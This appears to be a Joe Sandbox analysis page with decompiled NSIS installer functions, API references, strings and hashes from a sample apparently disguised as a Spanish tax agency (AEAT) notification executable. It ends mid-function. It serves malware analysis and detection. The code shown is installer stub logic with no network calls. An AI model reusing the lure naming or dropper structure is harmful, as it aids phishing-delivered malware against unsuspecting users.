Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: C:\Users\user\AppData\Local\Temp\nsu2B23.tmp$pOz
API String ID: 2295610775-301762066
Opcode ID: e01e7619722b9f30efb83f7659fa0d40dd2a6717423703156fa95c420c1e82c9
Instruction ID: ff58ffc18adcfb1e82f863fe631525536c8ca60503d441656b10eafe22cb2dbc
Opcode Fuzzy Hash: e01e7619722b9f30efb83f7659fa0d40dd2a6717423703156fa95c420c1e82c9
Instruction Fuzzy Hash: 40D012315190206FC6005778BD0C84B7A989F463307158B36B466F11E4D7789C668AA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040396D Relevance: 45.7, APIs: 13, Strings: 13, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E0040396D(void* __eflags) {
				intOrPtr _v4;
				intOrPtr _v8;
				int _v12;
				void _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t22;
				void* _t30;
				void* _t32;
				int _t33;
				void* _t36;
				int _t39;
				int _t40;
				intOrPtr _t41;
				int _t44;
				short _t63;
				WCHAR* _t65;
				signed char _t69;
				WCHAR* _t76;
				intOrPtr _t82;
				WCHAR* _t87;

				_t82 =  *0x7a8a34;
				_t22 = E00406639(2);
				_t90 = _t22;
				if(_t22 == 0) {
					_t76 = 0x7a1f20;
					L"1033" = 0x30;
					 *0x7b5002 = 0x78;
					 *0x7b5004 = 0;
					E0040612D(_t78, __eflags, 0x80000001, L"Control Panel\\Desktop\\ResourceLocale", 0, 0x7a1f20, 0);
					__eflags =  *0x7a1f20;
					if(__eflags == 0) {
						E0040612D(_t78, __eflags, 0x80000003, L".DEFAULT\\Control Panel\\International",  &M004083CC, 0x7a1f20, 0);
					}
					lstrcatW(L"1033", _t76);
				} else {
					E004061A6(L"1033",  *_t22() & 0x0000ffff);
				}
				E00403C43(_t78, _t90);
				_t86 = L"C:\\Users\\Arthur\\AppData\\Local\\Temp\\Musicalises34\\Coleman\\Biarcuated";
				 *0x7a8ac0 =  *0x7a8a3c & 0x00000020;
				 *0x7a8adc = 0x10000;
				if(E00405C38(_t90, L"C:\\Users\\Arthur\\AppData\\Local\\Temp\\Musicalises34\\Coleman\\Biarcuated") != 0) {
					L16:
					if(E00405C38(_t98, _t86) == 0) {
						E00406281(_t76, 0, _t82, _t86,  *((intOrPtr*)(_t82 + 0x118)));
					}
					_t30 = LoadImageW( *0x7a8a20, 0x67, 1, 0, 0, 0x8040); // executed
					 *0x7a7a08 = _t30;
					if( *((intOrPtr*)(_t82 + 0x50)) == 0xffffffff) {
						L21:
						if(E0040140B(0) == 0) {
							_t32 = E00403C43(_t78, __eflags);
							__eflags =  *0x7a8ae0;
							if( *0x7a8ae0 != 0) {
								_t33 = E00405396(_t32, 0);
								__eflags = _t33;
								if(_t33 == 0) {
									E0040140B(1);
									goto L33;
								}
								__eflags =  *0x7a79ec; // 0x0
								if(__eflags == 0) {
									E0040140B(2);
								}
								goto L22;
							}
							ShowWindow( *0x7a1f00, 5); // executed
							_t39 = E004065C9("RichEd20"); // executed
							__eflags = _t39;
							if(_t39 == 0) {
								E004065C9("RichEd32");
							}
							_t87 = L"RichEdit20W";
							_t40 = GetClassInfoW(0, _t87, 0x7a79c0);
							__eflags = _t40;
							if(_t40 == 0) {
								GetClassInfoW(0, L"RichEdit", 0x7a79c0);
								 *0x7a79e4 = _t87;
								RegisterClassW(0x7a79c0);
							}
							_t41 =  *0x7a7a00; // 0x0
							_t44 = DialogBoxParamW( *0x7a8a20, _t41 + 0x00000069 & 0x0000ffff, 0, E00403D1B, 0); // executed
							E004038BD(E0040140B(5), 1);
							return _t44;
						}
						L22:
						_t36 = 2;
						return _t36;
					} else {
						_t78 =  *0x7a8a20;
						 *0x7a79c4 = E00401000;
						 *0x7a79d0 =  *0x7a8a20;
						 *0x7a79d4 = _t30;
						 *0x7a79e4 = 0x40a380;
						if(RegisterClassW(0x7a79c0) == 0) {
							L33:
							__eflags = 0;
							return 0;
						}
						SystemParametersInfoW(0x30, 0,  &_v16, 0);
						 *0x7a1f00 = CreateWindowExW(0x80, 0x40a380, 0, 0x80000000, _v16, _v12, _v8 - _v16, _v4 - _v12, 0, 0,  *0x7a8a20, 0);
						goto L21;
					}
				} else {
					_t78 =  *(_t82 + 0x48);
					_t92 = _t78;
					if(_t78 == 0) {
						goto L16;
					}
					_t76 = 0x7a69c0;
					E0040612D(_t78, _t92,  *((intOrPtr*)(_t82 + 0x44)),  *0x7a8a78 + _t78 * 2,  *0x7a8a78 +  *(_t82 + 0x4c) * 2, 0x7a69c0, 0);
					_t63 =  *0x7a69c0; // 0x43
					if(_t63 == 0) {
						goto L16;
					}
					if(_t63 == 0x22) {
						_t76 = 0x7a69c2;
						 *((short*)(E00405B5D(0x7a69c2, 0x22))) = 0;
					}
					_t65 = _t76 + lstrlenW(_t76) * 2 - 8;
					if(_t65 <= _t76 || lstrcmpiW(_t65, L".exe") != 0) {
						L15:
						E0040625F(_t86, E00405B30(_t76));
						goto L16;
					} else {
						_t69 = GetFileAttributesW(_t76);
						if(_t69 == 0xffffffff) {
							L14:
							E00405B7C(_t76);
							goto L15;
						}
						_t98 = _t69 & 0x00000010;
						if((_t69 & 0x00000010) != 0) {
							goto L15;
						}
						goto L14;
					}
				}
			}

0x00403973
0x0040397c
0x00403983
0x00403985
0x00403999
0x004039ab
0x004039b4
0x004039bd
0x004039c4
0x004039c9
0x004039d0
0x004039e3
0x004039e3
0x004039ee
0x00403987
0x00403992
0x00403992
0x004039f3
0x004039fd
0x00403a06
0x00403a0b
0x00403a1c
0x00403aae
0x00403ab6
0x00403abf
0x00403abf
0x00403ad5
0x00403adb
0x00403ae9
0x00403b6a
0x00403b72
0x00403b7c
0x00403b81
0x00403b87
0x00403c11
0x00403c16
0x00403c18
0x00403c34
0x00000000
0x00403c34
0x00403c1a
0x00403c20
0x00403c28
0x00403c28
0x00000000
0x00403c20
0x00403b95
0x00403ba0
0x00403ba5
0x00403ba7
0x00403bae
0x00403bae
0x00403bb9
0x00403bc1
0x00403bc3
0x00403bc5
0x00403bce
0x00403bd1
0x00403bd7
0x00403bd7
0x00403bdd
0x00403bf6
0x00403c07
0x00000000
0x00403c0c
0x00403b74
0x00403b76
0x00000000
0x00403aeb
0x00403aeb
0x00403af7
0x00403b01
0x00403b07
0x00403b0c
0x00403b1b
0x00403c39
0x00403c39
0x00000000
0x00403c39
0x00403b2a
0x00403b65
0x00000000
0x00403b65
0x00403a22
0x00403a22
0x00403a25
0x00403a27
0x00000000
0x00000000
0x00403a35
0x00403a47
0x00403a4c
0x00403a55
0x00000000
0x00000000
0x00403a5b
0x00403a5d
0x00403a6a
0x00403a6a
0x00403a73
0x00403a79
0x00403aa1
0x00403aa9
0x00000000
0x00403a8b
0x00403a8c
0x00403a95
0x00403a9b
0x00403a9c
0x00000000
0x00403a9c
0x00403a97
0x00403a99
0x00000000
0x00000000
0x00000000
0x00403a99
0x00403a79

APIs

Part of subcall function 00406639: GetModuleHandleA.KERNEL32(?,00000020,?,004033C2,0000000A), ref: 0040664B
Part of subcall function 00406639: GetProcAddress.KERNEL32(00000000,?), ref: 00406666

lstrcatW.KERNEL32(1033,007A1F20), ref: 004039EE
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated,1033,007A1F20,80000001,Control Panel\Desktop\ResourceLocale,00000000,007A1F20,00000000,00000002,C:\Users\user\AppData\Local\Temp\), ref: 00403A6E
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated,1033,007A1F20,80000001,Control Panel\Desktop\ResourceLocale,00000000,007A1F20,00000000), ref: 00403A81
GetFileAttributesW.KERNEL32(Call), ref: 00403A8C
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated), ref: 00403AD5

Part of subcall function 004061A6: wsprintfW.USER32 ref: 004061B3

RegisterClassW.USER32(007A79C0), ref: 00403B12
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403B2A
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403B5F
ShowWindow.USER32(00000005,00000000), ref: 00403B95
GetClassInfoW.USER32(00000000,RichEdit20W,007A79C0), ref: 00403BC1
GetClassInfoW.USER32(00000000,RichEdit,007A79C0), ref: 00403BCE
RegisterClassW.USER32(007A79C0), ref: 00403BD7
DialogBoxParamW.USER32(?,00000000,00403D1B,00000000), ref: 00403BF6

Strings

1033, xrefs: 0040398D, 004039E9
_Nb, xrefs: 00403AF1, 00403B59
RichEd20, xrefs: 00403B9B
Call, xrefs: 00403A35, 00403A3E, 00403A4C, 00403A9B, 00403AA1
C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated, xrefs: 004039FD, 00403A05, 00403AA8, 00403AAE, 00403ABE
RichEdit, xrefs: 00403BC8
RichEd32, xrefs: 00403BA9
"C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe", xrefs: 00403971
RichEdit20W, xrefs: 00403BB9, 00403BBF
C:\Users\user\AppData\Local\Temp\, xrefs: 00403979
.exe, xrefs: 00403A7B
.DEFAULT\Control Panel\International, xrefs: 004039D9
Control Panel\Desktop\ResourceLocale, xrefs: 004039A1

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-465115727
Opcode ID: 534ff8e0cd0ad6c04b10acd2ef2da6e93543f5cd5b29ee7ce0b8abe9c54844f8
Instruction ID: 0f1e86156467dc572bfe90fa2eb59b903a3bd9170c228be251d5c9c569d222eb
Opcode Fuzzy Hash: 534ff8e0cd0ad6c04b10acd2ef2da6e93543f5cd5b29ee7ce0b8abe9c54844f8
Instruction Fuzzy Hash: 9861C371200604AED720AF669D45F2B3A6CEBC5B49F00853FF941B62E2DB7C69118A2D

Uniqueness

Uniqueness Score: -1.00%

Function 00402EC1 Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 80%

			E00402EC1(void* __eflags, signed int _a4) {
				DWORD* _v8;
				DWORD* _v12;
				void* _v16;
				intOrPtr _v20;
				long _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				signed int _v44;
				long _t43;
				signed int _t50;
				void* _t53;
				void* _t57;
				intOrPtr* _t59;
				long _t60;
				signed int _t65;
				signed int _t70;
				signed int _t71;
				signed int _t77;
				intOrPtr _t80;
				long _t82;
				signed int _t85;
				signed int _t87;
				void* _t89;
				signed int _t90;
				signed int _t93;
				void* _t94;

				_t82 = 0;
				_v12 = 0;
				_v8 = 0;
				_t43 = GetTickCount();
				_t91 = L"C:\\Users\\Arthur\\Desktop\\rAEAT-AvisodeNotificaci__n.exe";
				 *0x7a8a30 = _t43 + 0x3e8;
				GetModuleFileNameW(0, L"C:\\Users\\Arthur\\Desktop\\rAEAT-AvisodeNotificaci__n.exe", 0x400);
				_t89 = E00405D51(_t91, 0x80000000, "true");
				_v16 = _t89;
				 *0x40a018 = _t89;
				if(_t89 == 0xffffffff) {
					return L"Error launching installer";
				}
				_t92 = L"C:\\Users\\Arthur\\Desktop";
				E0040625F(L"C:\\Users\\Arthur\\Desktop", _t91);
				E0040625F(0x7b7000, E00405B7C(_t92));
				_t50 = GetFileSize(_t89, 0);
				__eflags = _t50;
				 *0x7976dc = _t50;
				_t93 = _t50;
				if(_t50 <= 0) {
					L24:
					E00402E5D(1);
					__eflags =  *0x7a8a38 - _t82;
					if( *0x7a8a38 == _t82) {
						goto L29;
					}
					__eflags = _v8 - _t82;
					if(_v8 == _t82) {
						L28:
						_t53 = GlobalAlloc(0x40, _v24); // executed
						_t94 = _t53;
						E00403308( *0x7a8a38 + 0x1c);
						_push(_v24);
						_push(_t94);
						_push(_t82);
						_push(0xffffffff); // executed
						_t57 = E004030FA(); // executed
						__eflags = _t57 - _v24;
						if(_t57 == _v24) {
							__eflags = _v44 & 0x00000001;
							 *0x7a8a34 = _t94;
							 *0x7a8a3c =  *_t94;
							if((_v44 & 0x00000001) != 0) {
								 *0x7a8a40 =  *0x7a8a40 + 1;
								__eflags =  *0x7a8a40;
							}
							_t40 = _t94 + 0x44; // 0x44
							_t59 = _t40;
							_t85 = 8;
							do {
								_t59 = _t59 - 8;
								 *_t59 =  *_t59 + _t94;
								_t85 = _t85 - 1;
								__eflags = _t85;
							} while (_t85 != 0);
							_t60 = SetFilePointer(_v16, _t82, _t82, 1); // executed
							 *(_t94 + 0x3c) = _t60;
							E00405D0C(0x7a8a60, _t94 + 4, 0x40);
							__eflags = 0;
							return 0;
						}
						goto L29;
					}
					E00403308( *0x78b6d4);
					_t65 = E004032F2( &_a4, 4);
					__eflags = _t65;
					if(_t65 == 0) {
						goto L29;
					}
					__eflags = _v12 - _a4;
					if(_v12 != _a4) {
						goto L29;
					}
					goto L28;
				} else {
					do {
						_t90 = _t93;
						asm("sbb eax, eax");
						_t70 = ( ~( *0x7a8a38) & 0x00007e00) + 0x200;
						__eflags = _t93 - _t70;
						if(_t93 >= _t70) {
							_t90 = _t70;
						}
						_t71 = E004032F2(0x7976e0, _t90);
						__eflags = _t71;
						if(_t71 == 0) {
							E00402E5D(1);
							L29:
							return L"Installer integrity check has failed. Common causes include\nincomplete download and damaged media. Contact the\ninstaller\'s author to obtain a new copy.\n\nMore information at:\nhttp://nsis.sf.net/NSIS_Error";
						}
						__eflags =  *0x7a8a38;
						if( *0x7a8a38 != 0) {
							__eflags = _a4 & 0x00000002;
							if((_a4 & 0x00000002) == 0) {
								E00402E5D(0);
							}
							goto L20;
						}
						E00405D0C( &_v44, 0x7976e0, 0x1c);
						_t77 = _v44;
						__eflags = _t77 & 0xfffffff0;
						if((_t77 & 0xfffffff0) != 0) {
							goto L20;
						}
						__eflags = _v40 - 0xdeadbeef;
						if(_v40 != 0xdeadbeef) {
							goto L20;
						}
						__eflags = _v28 - 0x74736e49;
						if(_v28 != 0x74736e49) {
							goto L20;
						}
						__eflags = _v32 - 0x74666f73;
						if(_v32 != 0x74666f73) {
							goto L20;
						}
						__eflags = _v36 - 0x6c6c754e;
						if(_v36 != 0x6c6c754e) {
							goto L20;
						}
						_a4 = _a4 | _t77;
						_t87 =  *0x78b6d4; // 0x679c7
						 *0x7a8ae0 =  *0x7a8ae0 | _a4 & 0x00000002;
						_t80 = _v20;
						__eflags = _t80 - _t93;
						 *0x7a8a38 = _t87;
						if(_t80 > _t93) {
							goto L29;
						}
						__eflags = _a4 & 0x00000008;
						if((_a4 & 0x00000008) != 0) {
							L16:
							_v8 = _v8 + 1;
							_t24 = _t80 - 4; // 0x40a2dc
							_t93 = _t24;
							__eflags = _t90 - _t93;
							if(_t90 > _t93) {
								_t90 = _t93;
							}
							goto L20;
						}
						__eflags = _a4 & 0x00000004;
						if((_a4 & 0x00000004) != 0) {
							break;
						}
						goto L16;
						L20:
						__eflags = _t93 -  *0x7976dc; // 0x69c38
						if(__eflags < 0) {
							_v12 = E0040672C(_v12, 0x7976e0, _t90);
						}
						 *0x78b6d4 =  *0x78b6d4 + _t90;
						_t93 = _t93 - _t90;
						__eflags = _t93;
					} while (_t93 > 0);
					_t82 = 0;
					__eflags = 0;
					goto L24;
				}
			}

0x00402ec9
0x00402ecc
0x00402ecf
0x00402ed2
0x00402ed8
0x00402ee9
0x00402eee
0x00402f01
0x00402f06
0x00402f09
0x00402f0f
0x00000000
0x00402f11
0x00402f1c
0x00402f22
0x00402f33
0x00402f3a
0x00402f40
0x00402f42
0x00402f47
0x00402f49
0x00403036
0x00403038
0x0040303d
0x00403044
0x00000000
0x00000000
0x00403046
0x00403049
0x0040306d
0x00403072
0x00403078
0x00403083
0x00403088
0x0040308b
0x0040308c
0x0040308d
0x0040308f
0x00403094
0x00403097
0x004030aa
0x004030ae
0x004030b6
0x004030bb
0x004030bd
0x004030bd
0x004030bd
0x004030c5
0x004030c5
0x004030c8
0x004030c9
0x004030c9
0x004030cc
0x004030ce
0x004030ce
0x004030ce
0x004030d8
0x004030de
0x004030ec
0x004030f1
0x00000000
0x004030f1
0x00000000
0x00403097
0x00403051
0x0040305c
0x00403061
0x00403063
0x00000000
0x00000000
0x00403068
0x0040306b
0x00000000
0x00000000
0x00000000
0x00402f4f
0x00402f54
0x00402f59
0x00402f5d
0x00402f64
0x00402f69
0x00402f6b
0x00402f6d
0x00402f6d
0x00402f71
0x00402f76
0x00402f78
0x004030a2
0x00403099
0x00000000
0x00403099
0x00402f7e
0x00402f85
0x00403001
0x00403005
0x00403009
0x0040300e
0x00000000
0x00403005
0x00402f8e
0x00402f93
0x00402f96
0x00402f9b
0x00000000
0x00000000
0x00402f9d
0x00402fa4
0x00000000
0x00000000
0x00402fa6
0x00402fad
0x00000000
0x00000000
0x00402faf
0x00402fb6
0x00000000
0x00000000
0x00402fb8
0x00402fbf
0x00000000
0x00000000
0x00402fc1
0x00402fc7
0x00402fd0
0x00402fd6
0x00402fd9
0x00402fdb
0x00402fe1
0x00000000
0x00000000
0x00402fe7
0x00402feb
0x00402ff3
0x00402ff3
0x00402ff6
0x00402ff6
0x00402ff9
0x00402ffb
0x00402ffd
0x00402ffd
0x00000000
0x00402ffb
0x00402fed
0x00402ff1
0x00000000
0x00000000
0x00000000
0x0040300f
0x0040300f
0x00403015
0x00403021
0x00403021
0x00403024
0x0040302a
0x0040302c
0x0040302c
0x00403034
0x00403034
0x00000000
0x00403034

APIs

GetTickCount.KERNEL32 ref: 00402ED2
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe,00000400,?,00000006,00000008,0000000A), ref: 00402EEE

Part of subcall function 00405D51: GetFileAttributesW.KERNELBASE(?,00402F01,C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe,80000000,?,?,00000006,00000008,0000000A), ref: 00405D55
Part of subcall function 00405D51: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,00000006,00000008,0000000A), ref: 00405D77

GetFileSize.KERNEL32(00000000,00000000,007B7000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe,C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe,80000000,?,?,00000006,00000008,0000000A), ref: 00402F3A

Strings

Inst, xrefs: 00402FA6
C:\Users\user\Desktop, xrefs: 00402F1C, 00402F21, 00402F27
"C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe", xrefs: 00402EC1
Null, xrefs: 00402FB8
Error launching installer, xrefs: 00402F11
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403099
soft, xrefs: 00402FAF
C:\Users\user\AppData\Local\Temp\, xrefs: 00402ECB
vy, xrefs: 00402F4F
C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe, xrefs: 00402ED8, 00402EE7, 00402EFB, 00402F1B

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: "C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft$vy
API String ID: 4283519449-1081436403
Opcode ID: 5b59a3334938b1ada53fb21aa8cc17301929ac982103e349ce86a46566e051fd
Instruction ID: 5e1ca327f74bc56913369b9b8f7861415b50b435560b28898b8d4eae658a22e8
Opcode Fuzzy Hash: 5b59a3334938b1ada53fb21aa8cc17301929ac982103e349ce86a46566e051fd
Instruction Fuzzy Hash: BC51F171901209AFDB20AF65DD85B9E7EA8EB4035AF10803BF505B62D5CB7C8E418B5D

Uniqueness

Uniqueness Score: -1.00%

Function 00406281 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 72%

			E00406281(void* __ebx, void* __edi, void* __esi, signed int _a4, signed int _a8) {
				signed int _v8;
				struct _ITEMIDLIST* _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _t43;
				WCHAR* _t44;
				signed char _t46;
				signed int _t47;
				signed int _t48;
				short _t58;
				short _t60;
				short _t62;
				void* _t70;
				signed int _t76;
				void* _t82;
				signed char _t83;
				short _t86;
				intOrPtr _t94;
				signed int _t96;
				void* _t102;
				short _t103;
				signed int _t106;
				signed int _t108;
				void* _t109;
				WCHAR* _t110;
				void* _t112;

				_t109 = __esi;
				_t102 = __edi;
				_t70 = __ebx;
				_t43 = _a8;
				if(_t43 < 0) {
					_t94 =  *0x7a79fc; // 0xb5eb9a
					_t43 =  *(_t94 - 4 + _t43 * 4);
				}
				_push(_t70);
				_push(_t109);
				_push(_t102);
				_t96 =  *0x7a8a78 + _t43 * 2;
				_t44 = 0x7a69c0;
				_t110 = 0x7a69c0;
				if(_a4 >= 0x7a69c0 && _a4 - 0x7a69c0 >> 1 < 0x800) {
					_t110 = _a4;
					_a4 = _a4 & 0x00000000;
				}
				while(1) {
					_t103 =  *_t96;
					if(_t103 == 0) {
						break;
					}
					__eflags = (_t110 - _t44 & 0xfffffffe) - 0x800;
					if((_t110 - _t44 & 0xfffffffe) >= 0x800) {
						break;
					}
					_t82 = 2;
					_t96 = _t96 + _t82;
					__eflags = _t103 - 4;
					_a8 = _t96;
					if(__eflags >= 0) {
						if(__eflags != 0) {
							 *_t110 = _t103;
							_t110 = _t110 + _t82;
							__eflags = _t110;
						} else {
							 *_t110 =  *_t96;
							_t110 = _t110 + _t82;
							_t96 = _t96 + _t82;
						}
						continue;
					}
					_t83 =  *((intOrPtr*)(_t96 + 1));
					_t46 =  *_t96;
					_t47 = _t46 & 0x000000ff;
					_v8 = (_t83 & 0x0000007f) << 0x00000007 | _t46 & 0x0000007f;
					_a8 = _a8 + 2;
					_v28 = _t47 | 0x00008000;
					_v24 = _t47;
					_t76 = _t83 & 0x000000ff;
					_v16 = _t76;
					__eflags = _t103 - 2;
					_v20 = _t76 | 0x00008000;
					if(_t103 != 2) {
						__eflags = _t103 - 3;
						if(_t103 != 3) {
							__eflags = _t103 - 1;
							if(_t103 == 1) {
								__eflags = (_t47 | 0xffffffff) - _v8;
								E00406281(_t76, _t103, _t110, _t110, (_t47 | 0xffffffff) - _v8);
							}
							L43:
							_t48 = lstrlenW(_t110);
							_t96 = _a8;
							_t110 =  &(_t110[_t48]);
							_t44 = 0x7a69c0;
							continue;
						}
						_t106 = _v8;
						__eflags = _t106 - 0x1d;
						if(_t106 != 0x1d) {
							__eflags = (_t106 << 0xb) + 0x7a9000;
							E0040625F(_t110, (_t106 << 0xb) + 0x7a9000);
						} else {
							E004061A6(_t110,  *0x7a8a28);
						}
						__eflags = _t106 + 0xffffffeb - 7;
						if(_t106 + 0xffffffeb < 7) {
							L34:
							E004064F3(_t110);
						}
						goto L43;
					}
					_t86 =  *0x7a8a2c;
					__eflags = _t86;
					_t108 = 2;
					if(_t86 >= 0) {
						L13:
						_v8 = 1;
						L14:
						__eflags =  *0x7a8ac4;
						if( *0x7a8ac4 != 0) {
							_t108 = 4;
						}
						__eflags = _t47;
						if(__eflags >= 0) {
							__eflags = _t47 - 0x25;
							if(_t47 != 0x25) {
								__eflags = _t47 - 0x24;
								if(_t47 == 0x24) {
									GetWindowsDirectoryW(_t110, 0x400);
									_t108 = 0;
								}
								while(1) {
									__eflags = _t108;
									if(_t108 == 0) {
										goto L30;
									}
									_t58 =  *0x7a8a24;
									_t108 = _t108 - 1;
									__eflags = _t58;
									if(_t58 == 0) {
										L26:
										_t60 = SHGetSpecialFolderLocation( *0x7a8a28,  *(_t112 + _t108 * 4 - 0x18),  &_v12);
										__eflags = _t60;
										if(_t60 != 0) {
											L28:
											 *_t110 =  *_t110 & 0x00000000;
											__eflags =  *_t110;
											continue;
										}
										__imp__SHGetPathFromIDListW(_v12, _t110);
										__imp__CoTaskMemFree(_v12);
										__eflags = _t60;
